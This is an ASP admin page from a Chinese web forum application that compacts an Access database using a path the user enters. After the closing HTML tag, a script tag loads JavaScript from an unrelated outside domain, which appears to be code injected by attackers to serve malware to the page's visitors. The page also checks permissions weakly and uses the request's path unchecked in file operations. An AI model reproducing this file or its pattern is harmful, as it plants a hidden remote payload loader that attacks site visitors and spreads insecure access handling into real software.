📄 compressdata.asp
字号:
<!--#include file="conn.asp"-->
<%
if session("flag")>0 then
Response.Write("<br><br><br><center>对不起。你没有权限进入此页面!!!</center>")
Response.end
end if
%>
<html>
<head>
<META http-equiv=Content-Type content=text/html;charset=gb2312>
<link href=images/bbs.css rel=stylesheet>
</head>
<body>
<table width=100% cellspacing=1 cellpadding=0>
<form action="CompressData.asp">
<tr>
<td><b>注意:</b><br>输入数据库所在相对路径,并且输入数据库名称(正在使用中数据库不能压缩,请选择备份数据库进行压缩操作</td>
</tr>
<tr>
<td>压缩数据库:<input name="dbpath" type="text" value="<%=replace(datafile,right(datafile,4),"_bak"&right(datafile,4))%>" size="30">
<input type="submit" value="开始压缩"></font></td>
</tr>
<tr>
<td><input type="checkbox" name="boolIs97" value="True">如果使用 Access 97 数据库请选择(默认为 Access 2000 数据库)<br><br></td>
</tr>
</form>
</table>
<%
Dim dbpath,boolIs97
dbpath = request("dbpath")
boolIs97 = request("boolIs97")
If dbpath <> "" Then
dbpath = server.mappath(dbpath)
response.write(CompactDB(dbpath,boolIs97))
End If
%>
<%
Const JET_3X = 4
Function CompactDB(dbPath, boolIs97)
Dim fso, Engine, strDBPath
strDBPath = left(dbPath,instrrev(DBPath,"\"))
Set fso = CreateObject("Scripting.FileSystemObject")
If fso.FileExists(dbPath) Then
Set Engine = CreateObject("JRO.JetEngine")
If boolIs97 = "True" Then
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbpath, _
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp.mdb;" _
& "Jet OLEDB:Engine Type=" & JET_3X
Else
Engine.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbpath, _
"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strDBPath & "temp.mdb"
End If
fso.CopyFile strDBPath & "temp.mdb",dbpath
fso.DeleteFile(strDBPath & "temp.mdb")
Set fso = nothing
Set Engine = nothing
CompactDB = "你的数据库, " & dbpath & ", 已经压缩成功!" & vbCrLf
Else
CompactDB = "数据库名称或路径不正确. 请重试!" & vbCrLf
End If
End Function
%>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -